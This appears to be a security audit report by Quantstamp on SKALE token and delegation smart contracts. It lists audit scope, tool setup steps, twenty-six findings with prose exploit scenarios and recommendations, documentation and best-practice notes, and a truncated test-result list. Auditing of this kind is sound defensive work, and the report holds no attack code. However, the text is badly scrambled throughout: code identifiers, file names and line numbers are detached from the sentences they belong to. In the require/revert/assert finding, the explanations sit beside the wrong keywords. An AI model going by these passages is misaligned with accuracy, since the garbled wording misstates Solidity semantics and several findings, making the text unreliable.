Permissions.sol * SkaleToken.sol * interfaces/ISkaleToken.sol * interfaces/delegation/IDelegatableToken.sol * interfaces/delegation/IHolderDelegation.sol * interfaces/delegation/IValidatorDelegation.sol * interfaces/tokenSale/ITokenSaleManager.sol * ERC777/LockableERC777.sol * thirdparty/BokkyPooBahsDateTimeLibrary.sol * delegation/* * utils/* Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: commit sha: ab387e1 • Maianv4.1.12 • Trufflev1.1.0 • Ganachev0.5.8 • SolidityCoveragev0.2.7 • MythrilNone • Securifyv0.6.6 • SlitherSteps taken to run the tools:1. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 2. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 3. Installed Truffle:npm install -g truffle 4. Installed Ganache:npm install -g ganache-cli 5. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 6. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 7. Installed the Mythril tool from Pypi:pip3 install mythril 8. Ran the Mythril tool on each contract:myth -x path/to/contract 9. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 10. Installed the Slither tool:pip install slither-analyzer 11. Run Slither from the project directory:s slither . Findings QSP-1 Potentially Unsafe Use of Arithmetic Operations Severity: High Risk Fixed Status: File(s) affected: (multiple) Some arithmetic operations in the project may lead to integer underflows or underflows. Examples include (line numbers are for commit ): Description:50c8f4e 1. , : may underflow, which will break all distributions associated with the validator - Not fixed ( , (commit ): should use SafeMath). in commit . Distributor.solL72 amount - amount * feeRate / 1000contracts/delegation/Distributor.sol L210 remediation-3 uint bounty = amount - fee; Fixed 1da7bbd 2. , : a possibility of an underflow - Distributor.sol L77 Fixed 3. , : unsafe multiplication and addition, there may be an overflow if is set to too high or becomes too high - Distributor.solL101-105 msr validatorNodes.length Fixed 4. , - SkaleBalances.sol L89 Fixed 5. : , : unclear what the bounds of are, however, may overflow under certain conditions - Not fixed in : should still use for the multiplication. in commit . ValidatorService.solL166 L178MSR remediation- 3 SafeMath Fixed 1da7bbd 6. : : this logic should be rewritten using operations - . DelegationRequestManager.sol L74-75 SafeMath Fixed 7. : while we do not see immediate issues, we still recommended using across the board - . TimeHelpers.sol SafeMath Fixed 8. : the addition should be performed using - . ERC777/LockableERC777.sol locked + amount SafeMath Fixed 9. , and : while we do not see immediate issues, we still recommended using across the board - . DelegationController.sol L67 L71SafeMath Fixed Recommendation: 1. Usefor all arithmetic operations SafeMath 2. Add input validation for any values partaking in math operations, such as validatingin and . feeRate Distributor.sol MSR QSP-2 Ability to register Address that already exists Severity: Low Risk Fixed Status: File(s) affected: delegation/ValidatorService.sol, delegation/DelegationService.sol , : It appears that a user can invoke where is an already existing address. Description:ValidatorService.sol L92 requestForNewAddress(...) newValidatorAddress There are two cases. If is the validator's current address, the operation would effectively be a no-op. If it is a different validator's address, the operation would overwrite the old in the list. As one consequence, this would break the mapping, which would consequently invalidate any function that uses on . Exploit Scenario:newValidatorAddress validatorId _validatorAddressToId getValidatorId() L197 This relates to the functions of the same name in . DelegationService.sol Fixing the logic to disallow overwriting behavior. Recommendation: QSP-3 Free Tokens for Owner from Testing Code Severity: High Risk Fixed Status: File(s) affected:SkaleToken.sol , : the code labeled as "// TODO remove after testing" issues free tokens for the owner, which is, likely, undesired. Description: SkaleToken.sol L47-54 Remove the testing code. Recommendation: QSP-4 Validator Denial-of-Service Severity: High Risk Fixed Status: File(s) affected: delegation/DelegationService.sol, delegation/DelegationRequestManager.sol It appears that a third-party can run a denial-of-service attack which causes some methods to run out of gas upon execution. Description: Using the method of , an attacker submits multiple delegations of a low amount to a given Validator A. The array becomes big enough to cause the methods , , and run out of gas. While it is unclear what a minimum validation amount is ( , ) and the validator has to be trusted to be able to pick it up ( , ), it looks like if the attacker has a high balance, the attack is possible. Exploit Scenario:delegate() DelegationService _activeByValidator[validatorId] getDelegationsForValidator getActiveDelegationsByValidator getDelegationsTotal DelegationRequestManager.sol L62 DelegationRequestManager.sol L65 Perform a gas analysis to identify the number of validations such that does not run out of gas, and cap the number of delegations or increase the minimum price accordingly. Recommendation:_activeByValidator[validatorId] QSP-5 Unlocked Pragma Severity: Low Risk Fixed Status: File(s) affected: (multiple) Every Solidity file specifies in the header a version number of the format . The caret ( ) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version , hence the term "unlocked." Description:pragma solidity (^)0.5.* ^ and above For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Recommendation:QSP-6 Use of Experimental Features Severity: Low Risk Fixed Status: File(s) affected: delegation/*.sol The project is using , which enables an experimental version of the ABI encoder. Experimental features may contain bugs, such as . Description:pragma experimental ABIEncoderV2 this We recommend incrementing and fixing at or beyond , staying up-to-date with regards to any new -related issues, and addressing them in a timely manner. Recommendation:pragma solidity 0.5.7 ABIEncoderV2 QSP-7 Centralization of Power Severity: Low Risk Acknowledged Status: File(s) affected: (multiple) Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. Description:owner 1. Sincepermits the owner of the contract to interact with any of its functions, the owner can grief any wallet by setting an arbitrarily high allow() timeLimit 2. The owner can invokeand update the balance of any wallet as desired. tokensReceived() These issues exist for essentially any function using , which includes most contracts. For example, can set arbitrary delegation amounts. allowDelegation* DelegationController.setDelegationAmount() Apart from these: 1. The owner can changeat any time, which could influence upcoming distributions of shares in via : setDelegationPeriod()Distributor.distribute() L100 uint multiplier = delegationPeriodManager.stakeMultipliers(delegation.delegationPeriod);2. In, the owner may censor validators via and . ValidatorService enableValidator() disableValidator() Recommendation: 1. Potentially, removing theconditional from the modifiers. isOwner() allow 2. Make the centralization of power clear to end-users.: Not fixed, the provided rationale: "SKALE Network plans to communicate clearly the plans for admin control and how this will be graduallydecentralized. More importantly, admin is economically incentivized against this attack". UpdateQSP-8 Transaction-Ordering Dependency in Validator Registration Severity: Low Risk Fixed Status: File(s) affected: delegation/DelegationService.sol In , there is transaction-ordering dependency between on and . Description:DelegationService.sol registerValidator() L161 DelegationService.linkNodeAddress() L180 Anyone can grief someone attempting to by calling and setting to the value from the transaction. The registration will then fail due to of : . Exploit Scenario:registerValidator() linkNodeAddress() nodeAddress msg.sender registerValidator() L67 ValidatorService.solrequire(_validatorAddressToId[validatorAddress] == 0, "Validator with such address already exists"); Transaction-ordering is often difficult to fix without introducing changes to system design. However, we are just bringing the potential issue to the team's attention. Recommendation:QSP-9 Unintentional Locking of Tokens upon Cancelation Severity: Low Risk Fixed Status: File(s) affected: delegation/TokenState.sol , : the logic enables the possibility of ending up having locked more tokens than expected. Description: TokenState.sol L205 Exploit Scenario: 1. A user gets 20 tokens from the token sale (and they are, therefore, locked)2. The user receives a transfer of 5 tokens from someone else3. The user requests a delegation of 25 tokens4. The user's delegation gets canceled5. The user ends up having 25 locked tokens instead of the original 20 tokens.Reconsider the logic in . Recommendation: TokenState.sol QSP-10 Validator Registration "Spamming" Severity: Low Risk Acknowledged Status: File(s) affected: delegation/DelegationService.sol The method is open to the public: anyone can call it and spam the network with registering arbitrary addresses as validators. This will pollute the contract with validator entries that do not do anything yet have an impact on the smart contract's state. For instance, would become high but this would not reflect the actual state of the network. Description:registerValidator() numberOfValidators We suggest adding a mechanism for preventing adding arbitrary validator registrations. Alternatively, making it so that adding new validators does not affect the contract state (e.g., calculate differently, e.g., only adding up trusted validators). Recommendation:numberOfValidators Unresolved, the rationale: "validators must pay for gas to register, so this naturally reduces DoS. Receiving a validator ID does not allow the user to do anything special - unless they are a part of whitelist." However, as of , there is an added issue, see . Update:remediation-3 QSP-16 : The implications of this issue are mitigated in . Update 8c6a218 QSP-11 Misusing / / require() assert() revert() Severity: Informational Acknowledged Status: File(s) affected: thirdparty/BokkyPooBahsDateTimeLibrary.sol, delegation/DelegationController.sol , , and all have their own specific uses and should not be switched around. Description: require() revert() assert() checks that certain preconditions are true before a function is run. • require(), when hit, will undo all computation within the function. • revert()is meant for checking that certain invariants are true. An failure implies something that should never happen, such as integer overflow, has occurred. •assert()assert() Recommendation: 1.: use instead of on lines , , , , , , , , , , , and BokkyPooBahsDateTimeLibrary.sol assert require 217 2322362402442482622772812852892932. , use instead of on lines , , and . DelegationController.sol assert require L134 L165L193 only fixed in . However, this is up to the Skale Labs team to decide whether the date-time library should be fixed or not. Update:DelegationController.sol the team made a decision to not update the date-time library, which is fair in this case. Update: QSP-12 Stubbed Functions in DelegationService Severity: Informational Fixed Status: File(s) affected: delegation/DelegationService.sol There are several stubbed functions in this contract, e.g., on or on , which seem important, particularly, since no events are emitted that would easily alert a delegator that a new delegation offer is associated with them. Description:listDelegationRequests() L90 getDelegationRequestsForValidator() L156 Consider implementing the stubbed functions. Recommendation: QSP-13 Unhandled Edge Case in Validator Existence Check Severity: Informational Fixed Status: File(s) affected: delegation/DelegationService.sol , : incorrectly returns if the input is , which could affect any function with the modifier . Note that defines the first validator and ID 1. Description:ValidatorService.sol L181 validatorExists()true 0 checkValidatorExists() L69 validatorId = ++numberOfValidators;Return when the validator address argument is provided as . Recommendation: false 0 QSP-14 Potentially Unsafe Use of Loops Severity: Informational Fixed Status: File(s) affected: (multiple) "For" loops are used throughout to iterate over active delegations or distribution shares. Examples include (with the respective. bounds): Description: : : • DelegationController.solL75-79, L115-128, L132-137, L182-187, L191-197 _activeByValidator[validatorId].length : : • DelegationController.solL154-159, L163-169 _delegationsByHolder[holderAddress].length : : • delegation/DelegationService.solL103-105 shares.length : : • delegation/Distributor.solL95-107, L109-117 activeDelegations.length : : • delegation/TokenState.solL63-69, L76-82 delegationIds.length : : • delegation/TokenState.solL161-163 _endingDelegations[holder].length : : • delegation/TokenState.solL246-256 _endingDelegations[delegation.holder].length If the value of a loop's upper bound is very high, it may cause a transaction to run out of gas and potentially lead to other higher-severity issues, such as . QSP-4 We recommend running gas analysis for the loops. This would identify the viable bounds for each loop, which consequently could be used for adding constraints to prevent overflows. Recommendation:this instance was fixed, however, there are now more potential issues with loops, see . Update: QSP-17 QSP-15 Denial-of-Service (DoS) Severity: Medium Risk Fixed Status: File(s) affected: ConstantsHolder.sol : The owner can overwrite the at any point using . It is unclear why this functionality is necessary, but if abused (with a low likelihood) and set to a time very far into the future, it could lock the two functions and . Description:ConstantsHolder.sol, L165 launchTimestamp setLaunchTimestamp() Distributor withdrawBounty() withdrawFee() Consider removing the ability to override the launch timestamp. Recommendation: : fixed in and . Update 8652d74 0164b22 QSP-16 Denial-of-Service (DoS)Severity: Low Risk Fixed Status: File(s) affected: ValidatorService.sol : iterates over all validator entries. However, as per , any party can arbitrarily submit requests that increment . While block gas limits should not be an issue for external view methods, the method may end up iterating over many unconfirmed validators, which could extend the load or execution time of the Ethereum node that executes the method. Description:L127 getTrustedValidators(...)numberOfValidators QSP-10 registerValidator(...) numberOfValidators Consider tracking trusted validators differently, in order to avoid iterating over unconfirmed validators. Recommendation: QSP-17 Potentially Unsafe Use of Loops (2) Severity: Low Risk Acknowledged Status: File(s) affected: delegation/DelegationController.sol, delegation/ValidatorService.sol, delegation/TokenState.sol We found the following locations in code where for loops are still used: Description: 1. In, there are two invocations of the method: , : . They both use the overloaded instance of that does not take as an input parameter: DelegationController.solprocessAllSlashes(...) processAllSlashes(holder); L339 processAllSlashes(msg.sender)processAllSlashes limit function processAllSlashes(address holder) public { processSlashes(holder, 0); } This eventually calls with the limit set to (or, unlimited). processSlashesWithoutSignals(...) 0 In addition, : , : , and : also call with the limit set to . L201processSlashesWithoutSignals(holder)L231 processSlashesWithoutSignals(msg.sender);L280 processSlashesWithoutSignals(delegations[delegationId].holder); processSlashesWithoutSignals(...) 0 If the limit is set to , sets as the bound for the loop. If happens to contain too many slashes, there is a chance for the loop at to cause a "block gas limit exceeded" issue. 0L899_slashes.length end _slashes.length L903 for (; index < end; ++index) {2. Similarly, in, has a for-loop: if there are too many slashing signals, a block gas limit issue could be hit. DelegationController.solsendSlashingSignals(...) 3. In, and contain use of potentially unbounded loops. Block gas limits are more difficult to exceed because it requires a specific validator to register too many node addresses, however, we are highlighting it for awareness. delegation/ValidatorService.solL305 L3374. : iterations over the lockers could, in theory, lead to the "block out of gas exceptions". However, since the methods are , the risk is pretty low assuming the responsibility of the owner. delegation/TokenState.solownerOnly Perform gas analysis and define mitigation strategies for the loops in and to ensure the block gas limit is never hit, and none of the contract methods are blocked due to this. Cap the number of slashings if possible. Recommendation:DelegationController.sol ValidatorService.sol Update: The Skale Labs team provided the following responses (quoted): 1. Issue is known and acceptable because initial network phases will operate with slashing off to verify very low probability of slashing events. It is expected thatslashing will be rare event, and in the exceptional case of many slashing events, it is possible to batch executions. 2. Same as above in 1.3. Acknowledged and optimization is planned. For initial network phases it will be difficult to exceed as the Quantstamp team notes.4. There will only be 3-4 total lockers.QSP-18 Lack of Array Length Reduction Severity: Low Risk Fixed Status: File(s) affected: delegation/ValidatorService.sol, delegation/TokenLaunchLocker.sol There are two instances when an array item is removed but the array length is not explicitly reduced: Description: 1. , : The lack of length reduction of is likely unintentional after - in . ValidatorService.solL212 validatorNodes.length delete validators[validatorId].nodeIndexes[validatorNodes.length.sub(1)]; Fixed 7e040bf2. , : : may also need to reset the array lengths for and . (code removed). delegation/TokenLaunchLocker.solL237 deletePartialDifferencesValue(...)sequence.addDiff sequence.subtractDiff Fixed Add length decrements where appropriate. Recommendation: QSP-19 Unclear Purpose of the AssignmentSeverity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol , : the purpose of the assignment is not clear. Description:In delegation/DelegationController.sol L609 _firstUnprocessedSlashByHolder[holder] = _slashes.length; Clarify the purpose. Improve the developer documentation. Recommendation: the team has provided a clarification: Update: `_slashes` is a list of all slashing events that have occurred in the network. When skale-manager calculates the amount of locked tokens, it iterates over this list. Each item is processed only once. When a token holder creates their first delegation, it is set first as an unprocessed slash as `_slashes.length` to avoid processing of all slashed before that. This obviously does not affect the holder. QSP-20 Unclear State List for isTerminated(...) Severity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol Currently, in , includes two states: and . However, there is also the state, which seems to be unaccounted for, and it is unclear if this is intentional. Note that this affects the function below. Description:delegation/DelegationController.sol isTerminated() COMPLETED REJECTED CANCELED isLocked() Clarifying the intention and accounting for the state as needed. Recommendation: CANCELED : the logic has been removed from the code in . Update 1da7bbd QSP-21 Unclear Intention for in totalApproved TokenLaunchManager Severity: Undetermined Fixed Status: File(s) affected: delegation/TokenLaunchManager.sol It is not clear if the require-statement on : will work as intended. The only accounts for the new values passed into the function but does not consider approval amounts made previously. It is unclear which is desirable here. Description:L60 require(totalApproved <= getBalance(), "Balance is too low");totalApproved Clarifying the intention and fixing as necessary. Recommendation: : the logic has been updated to count the approvals globally. Update QSP-22 Potential Violation of the Spec Severity: Informational Acknowledged Status: File(s) affected: delegation/TokenState.sol In , if a locker such as the is removed via , parts of the spec will not be enforced, e.g., "Slashed funds will be held in an escrow account for the first year.". Description:delegation/TokenState.sol Punisher removeLocker() Clarifying the intention and fixing as necessary. Recommendation: the team has provided an explanation that the owner is de-incentivized from harming the network. No fix is provided. Update: QSP-23 Inconsistent Behaviour of addToLockedInPendingDelegations(...) Severity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol In , : the behaviour of is inconsistent with the behaviour of : in the latter case, the is being subtracted from the existing amount, while in the former, it simply overwrites with the new `amount. Description:delegation/DelegationController.sol L571 addToLockedInPendingDelegations(...) subtractFromLockedInPerdingDelegations(...) amount _lockedInPendingDelegations[holder].amount Clarifying the intention of the method and fixing as necessary. Recommendation: addToLockedInPendingDelegations(...) : the logic has been updated, and is now consistent with . UpdateaddToLockedInPendingDelegations(...) subtractFromLockedInPerdingDelegations(...) QSP-24 Error-prone Logic for delegated.mul(2) Severity:Informational Fixed Status: File(s) affected: delegation/TokenLaunchHolder.sol In , both : and : contain the "magic" value of . This makes the logic error-prone, as the constant is scattered around while lacking a developer documentation. Description:delegation/TokenLaunchHolder L117 if (_totalDelegatedAmount[wallet].delegated.mul(2) >=_locked[wallet] && L163 if (_totalDelegatedAmount[holder].delegated.mul(2) < _locked[holder]) {2 Centralizing the constant, defining it in a single place. Improving the documentation accordingly. Recommendation: : Fixed in . Update 1da7bbd QSP-25 Event Emitted Regardless of Result Severity: Informational Fixed Status: File(s) affected: delegation/TokenState.sol In , : the event is emitted regardless of whether the locked gets removed or not. Description: delegation/TokenState.sol L73 Confirming if this behaviour is intentional and fixing it as necessary. Recommendation: : Fixed in . Update 1da7bbd QSP-26 Missing Input Validation Severity: Low Risk Fixed Status: File(s) affected: delegation/TokenLaunchManager.sol, contracts/Permissions.sol The following locations are missing input parameter validation: Description: 1. , : should check that is a non-zero address. delegation/TokenLaunchManager.sol L74 seller 2. , : should check that is a non-zero address while is above zero. delegation/TokenLaunchManager.sol L56 walletAddress[i] value[i] 3. , : should be checked to be non-zero. contracts/Permissions.sol L36 _contractManagerAdding the missed input validation. Recommendation: : Fixed in . Update 1da7bbd Adherence to Specification Generally, it is difficult to assess full adherence to the specification since the specification is incomplete, and the code appears to be poorly documented. This remains to be an issue for the latest commit . For the commit : remediation-3 50c8f4e , : the requirement described in the comment is actually not enforced in the code. in . •delegation/DelegationPeriodManager.solL43 remove only if there is no guys that stacked tokens for this period Fixed bd17697: : We believe the is used because "Delegation requests are always for the next epoch (month)." as per the Spec document, but this should be clarified in the code directly. (code removed). •delegation/TimeHelpers.solL42 + 1 Fixed : - the rationale for the logic in this function is not documented, and therefore, is difficult to assess. (code refactored). •delegation/TimeHelpers.solcalculateDelegationEndTime() Fixed Code Documentation The code appears to be poorly documented. The function descriptions from the Spec document should be directly inlined in the code. The coupling of the contracts with various statements makes the architecture difficult to follow. In addition, there are grammatical errors in documentation, and we suggest spell-checking all the comments in the project. This remains to be an issue for the latest commit as well, while some of the issues highlighted for commit were fixed. allow()remediation-3 50c8f4e : For the commit 50c8f4e 1. , : The function increases the allowance of each wallet address ( on ). This should be documented, since the typical function sets the approval to the new value. The semantics of this function more closely relates to . : in . delegation/TokenSaleManager.solL47 approve() += L51ERC20.approve() increaseApproval() Fixed 1da7bbd2. , : a typo: "begining". (removed). interfaces/delegation/IHolderDelegation.sol L26 Fixed 3. , : "it's" -> 'its". (removed). interfaces/delegation/IHolderDelegation.sol L34 Fixed 4.: : "for this moment in skale manager system by human name." Perhaps, changing this to "This contract contains the current mapping from contract IDs (in the form of human-readable strings) to addresses."`. (removed). ContractManager.solL27 Fixed 5. , (similar on ): "is not equal zero" -> "is not equal to zero". (removed). ContractManager.sol L43 L44 Fixed 6. , : "is not contain code" -> "does not contain code". (removed). ContractManager.sol L54 Fixed 7. , : typo in "epmtyArray". (removed). delegation/ValidatorService.sol L68 Fixed 8. : : "specify" -> "the specified". . SkaleToken.sol L58 Fixed 9. , : typo: "founds" -> "found". . delegation/DelegationService.sol L251 Fixed : For the commit remediation-3 1. , : : a potential typo ( seems to be the intended name). . delegation/DelegationController.solL582 subtractFromLockedInPerdingDelegations(...)subtractFromLockedInPendingDelegations Fixed 2. , : - a typo. . ConstantsHolder.sol L146 iverloadedFixed 3. , : The event field is misspelled. . DelegationPeriodManager.sol L32 legth Fixed Adherence to Best Practices : For the commit 50c8f4e 1. , : this could be replaced by the which contains more robust checks for contracts. . ContractManager.sol L49-54 Open Zeppelin Address library Not fixed 2. Favour usinginstead of . . uint256 uint Not fixed 3. Cyclic imports in. Generally, the architecture is a bit hard to follow. . delegation/* Not fixed 4. The contracts use almost no events, which could make contract monitoring more difficult than necessary.(now events are used). Fixed 5. , : commented out code and a TODO. (file removed). interfaces/delegation/IValidatorDelegation.sol L53-54 Fixed 6. , (and similarly, ): could simply be . . delegation/ValidatorService.solL136 L127 return getValidatorId(validatorAddress) == validatorId ?true : false return getValidatorId(validatorAddress) == validatorId Not fixed 7. , : The constructor should check that is non-zero. in . Permissions.sol L68 newContractsAddress Fixed c6718398. , : can simplify to . . delegation/DelegationPeriodManager.sol L35 return stakeMultipliers[monthsCount] != 0; Not fixed 9. , : a leftover TODO. . delegation/TokenState.sol L132 Fixed 10. , : a modifier is commented out, need to confirm if it is intentional or not. (confirmed it is a comment). SkaleToken.sol L75 Addressed 11. , : is not the most intuitive name, because it actually modifies the contract's state. Suggesting naming it . The same applies to the methods , , , and other files, such as on , . . delegation/DelegationController.solL78 getStaterefreshState getActiveDelegationsByValidator getDelegationsTotal getDelegationsByHolder getDelegationsForValidator getPurchasedAmount TokenState.sol L159 Fixed 12. , : should check that and are non-zero. . delegation/DelegationService.solL180 linkNodeAddress()nodeAddress validatorAddress Fixed 13. and : , is unnecessary. (a false-positive). interfaces/delegation/IValidatorDelegation.soldelegation/DelegationController.sol L21 pragma experimentalABIEncoderV2; Fixed 14. , : usused variable . . delegation/DelegationController.sol L78 state Fixed 15. , : unless the order matters, instead of running the inner loop ( ), could move the last element into . . delegation/TokenState.solL246-256 L249-251 _endingDelegations[delegation.holder][i] Fixed 16. , : should check that is non-zero. . delegation/ValidatorService.sol L56 registerValidator()validatorAddress Fixed : For the commit remediation-3 1. : the structs and look very similar: the purpose for having both remains unclear. Also, it does not follow a naming practice of not using the word “Value” DelegationPeriodManager.solPartialDifferencesValue PartialDifferences 2. : readability and potential error-proneness of the method. The code of seems to be complex. The function has five overloads, and two of them have overlap. The logic of calculating the differences is intertwined with the handling of corner cases of . The overloads of at and have significant overlaps, and it is unclear why both are needed. DelegationPeriodManager.solreduce(...) delegation/DelegationConroller.sol reduce firstUnprocessedMonth reduce L780 L815 3. : and : and seem to be identical - any reason for having two different methods? DelegationPeriodManager.solL250 L254 getAndUpdateLockedAmount(...)getAndUpdateForbiddenForDelegationAmount(...) 4. , : could be replaced with instead of repeatedly adding to each term DelegationPeriodManager.solL289-313 currentMonth.add(1) delegations[delegationId].started 1 5. , : naming does not differentiate the units, which could lead to bugs: DelegationPeriodManager.sol L55-56 uint created; // time of creation - measured as a timestampuint started; // month when a delegation becomes active - measured in months 6. , : changes its meaning after a re-assignment, this is not recommended.DelegationPeriodManager.sol L642 ifor (uint i = startMonth; i > 0 && i < delegations[delegationId].finished; i = _slashesOfValidator[validatorId].slashes[i].nextMonth) { 1. : fraction and GCD methods should be placed in a separate file. DelegationPeriodManager.sol 2. , : should be a shared constant delegation/ValidatorService.sol L99 10003. , and : is unnecessary delegation/ValidatorService.sol L186 L194? true : false;4. , : could be delegation/DelegationPeriodManager.sol L38 return stakeMultipliers[monthsCount] != 0 ? true : false;return (stakeMultipliers[monthsCount] != 0) 5. , : the constant should be defined as a named constant at the contract level delegation/Distributor.sol L83 3 6. , : the message should say “Fee is locked” delegation/Distributor.solL108 require(now >= timeHelpers.addMonths(constantsHolder.launchTimestamp(), 3),"Bounty is locked"); 7. , : duplicate definitions of and : already defined in . delegation/TokenLaunchLocker.solL46 PartialDifferencesValue getAndUpdateValue(...) DelegationController.sol 8. , : is unused (outside tests). utils/MathUtils.sol L40 boundedSubWithoutEvent(...)9. , : the amount emitted in should possibly be in the case that . delegation/Punisher.solL68 Forgive() _locked[holder] amount > _locked[holder] 10. : the function should have the require check that similar to in . Otherwise, this function could potentially shorten the list of validators without actually finding the correct one. delegaion/ValidatorService.soldeleteNode() position < validatorNodes.length checkPossibilityToMaintainNode() 11. : the internal function on does not appear to be used. delegation/DelegationController.sol init() L628 12. : The else-branch on of can never be reached due to and . It is not clear what the intended semantics here. Likely, needs a similar to . delegation/DelegationController.solL698 add()L686 L688L686 .add(1) L703 13. : The if-conditional on can never fail due to the require-condition on , and should be removed. delegation/DelegationController.solL725 sequence.firstUnprocessedMonth <= monthL720 month.add(1) >= sequence.firstUnprocessedMonth14. : Lots of duplicate code in the two functions on and . delegation/DelegationController.sol reduce() L780 L81515. : The require on : is not necessary due to the use of directly below. delegation/DelegationController.solL586 _lockedInPendingDelegations[holder].amount >= amount.sub() Test Results Test Suite Results For the commit , within the scope of the audit, two tests have failed on our side. We re-ran the tests for the commit , and they all passed. remediation-39d60180 Contract: ContractManager ✓ Should deploy ✓ Should add a right contract address (ConstantsHolder) to the register (100ms) Contract: Delegation when holders have tokens and validator is registered ✓ should check 1 month delegation period availability ✓ should not allow to send delegation request for 1 month (421ms) ✓ should check 2 months delegation period availability (49ms) ✓ should not allow to send delegation request for 2 months (379ms) ✓ should check 3 months delegation period availability ✓ should check 4 months delegation period availability ✓ should not allow to send delegation request for 4 months (299ms) ✓ should check 5 months delegation period availability ✓ should not allow to send delegation request for 5 months (324ms) ✓ should check 6 months delegation period availability ✓ should check 7 months delegation period availability ✓ should not allow to send delegation request for 7 months (333ms) ✓ should check 8 months delegation period availability ✓ should not allow to send delegation request for 8 months (327ms) ✓ should check 9 months delegation period availability ✓ should not allow to send delegation request for 9 months (331ms) ✓ should check 10 months delegation period availability ✓ should not allow to send delegation request for 10 months (351ms) ✓ should check 11 months delegation period availability ✓ should not allow to send delegation request for 11 months (336ms) ✓ should check 12 months delegation period availability ✓ should check 13 months delegation period availability ✓ should not allow to send delegation request for 13 months (370ms) ✓ should check 14 months delegation period availability ✓ should not allow to send delegation request for 14 months (300ms)✓ should check 15 months delegation period availability ✓ should not allow to send delegation request for 15 months (335ms) ✓ should check 16 months delegation period availability ✓ should not allow to send delegation request for 16 months (573ms) ✓ should check 17 months delegation period availability ✓ should not allow to send delegation request for 17 months (345ms) ✓ should check 18 months delegation period availability ✓ should not allow to send delegation request for 18 months (349ms) ✓ should not allow holder to delegate to unregistered validator (320ms) ✓ should calculate bond amount if validator delegated to itself (2725ms) ✓ should calculate bond amount if validator delegated to itself using different periods (2601ms) ✓ should bond equals zero for validator if she delegated to another validator (3819ms) ✓ should be possible for N.O.D.E. foundation to spin up node immediately (461ms) Reduce holders amount to fit Travis timelimit ✓ should be possible to distribute bounty accross thousands of holders (23927ms) when delegation period is 3 months ✓ should send request for delegation (575ms) when delegation request is sent ✓ should not allow to burn locked tokens (796ms) ✓ should not allow holder to spend tokens (2199ms) ✓ should allow holder to receive tokens (448ms) ✓ should accept delegation request (455ms) ✓ should unlock token if validator does not accept delegation request (1152ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (6710ms) when delegation period is 6 months ✓ should send request for delegation (740ms) when delegation request is sent ✓ should not allow to burn locked tokens (789ms) ✓ should not allow holder to spend tokens (2758ms) ✓ should allow holder to receive tokens (396ms) ✓ should accept delegation request (528ms) ✓ should unlock token if validator does not accept delegation request (1382ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (7343ms) when delegation period is 12 months ✓ should send request for delegation (671ms) when delegation request is sent ✓ should not allow to burn locked tokens (685ms) ✓ should not allow holder to spend tokens (2252ms) ✓ should allow holder to receive tokens (616ms) ✓ should accept delegation request (394ms) ✓ should unlock token if validator does not accept delegation request (1397ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (6210ms) when 3 holders delegated ✓ should distribute funds sent to Distributor across delegators (5112ms) Slashing ✓ should slash validator and lock delegators fund in proportion of delegation share (4354ms) ✓ should not lock more tokens than were delegated (1838ms) ✓ should allow to return slashed tokens back (1415ms) ✓ should not pay bounty for slashed tokens (2847ms) ✓ should reduce delegated amount immediately after slashing (625ms) ✓ should not consume extra gas for slashing calculation if holder has never delegated (3706ms) Contract: DelegationController when arguments for delegation initialized ✓ should reject delegation if validator with such id does not exist (281ms) ✓ should reject delegation if it doesn't meet minimum delegation amount (282ms) ✓ should reject delegation if request doesn't meet allowed delegation period (344ms) ✓ should reject delegation if holder doesn't have enough unlocked tokens for delegation (952ms) ✓ should send request for delegation (876ms) ✓ should reject delegation if it doesn't have enough tokens (2037ms) ✓ should reject canceling if delegation doesn't exist (63ms) ✓ should allow to delegate if whitelist of validators is no longer supports (1324ms) when delegation request was created ✓ should reject canceling request if it isn't actually holder of tokens (67ms) ✓ should reject canceling request if validator already accepted it (448ms) ✓ should reject canceling request if delegation request already rejected (248ms) ✓ should change state of tokens to CANCELED if delegation was cancelled (209ms) ✓ should reject accepting request if such validator doesn't exist (126ms) ✓ should reject accepting request if validator already canceled it (364ms) ✓ should reject accepting request if validator already accepted it (565ms) ✓ should reject accepting request if next month started (526ms) ✓ should reject accepting request if validator tried to accept request not assigned to him (295ms) ✓ should allow for QA team to test delegation pipeline immediately (2015ms) when delegation is accepted ✓ should allow validator to request undelegation (530ms) ✓ should not allow everyone to request undelegation (713ms) Contract: PartialDifferences ✓ should calculate sequences correctly (1345ms) Contract: TokenLaunchManager ✓ should register seller (177ms) ✓ should not register seller if sender is not owner (81ms) when seller is registered ✓ should not allow to approve transfer if sender is not seller (59ms) ✓ should fail if parameter arrays are with different lengths (67ms) ✓ should not allow to approve transfers with more then total money amount in sum 